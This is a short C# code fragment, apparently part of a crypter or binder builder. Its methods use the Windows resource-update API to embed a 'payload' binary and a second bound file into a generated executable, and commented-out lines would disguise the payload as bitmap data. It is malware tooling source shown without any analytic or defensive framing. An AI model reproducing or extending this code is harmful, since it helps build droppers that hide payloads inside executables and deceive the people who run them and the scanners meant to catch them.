public WinAPIConstructor(xNewPE _PE) { PE = _PE; Rand = new Random(Guid.NewGuid().GetHashCode()); }
public static void AddBindResourceToBuildExe(xNewPE PE) { if (File.Exists(PE.PeDirectory.SavePath)) { IntPtr hUpdate = BeginUpdateResource(PE.PeDirectory.SavePath, false); byte[] lpData = PE.PeDirectory.BindIncPath.ReadBytes(); if (hUpdate == IntPtr.Zero) return; // lpData = MakeBmpFile(lpData); if (!UpdateResource(hUpdate, (IntPtr)(23), "%", 0x00, lpData, (uint)lpData.Length)) return; else EndUpdateResource(hUpdate, false); } }
public static void AddMainResourceToBuiltExe(xNewPE PE) { if (File.Exists(PE.PeDirectory.SavePath)) { IntPtr hUpdate = BeginUpdateResource(PE.PeDirectory.SavePath, false); byte[] lpData = PE.PeDirectory.PayloadIncludeBinPath.ReadBytes(); if (hUpdate == IntPtr.Zero) return; //lpData = AppendBmpHeader(lpData); //lpData = BitmapDataStorage.CreateBitmapFromData(lpData); if (!UpdateResource(hUpdate, (IntPtr)(23), "?", 0x00, lpData, (uint)lpData.Length)) return; else EndUpdateResource(hUpdate, false); } }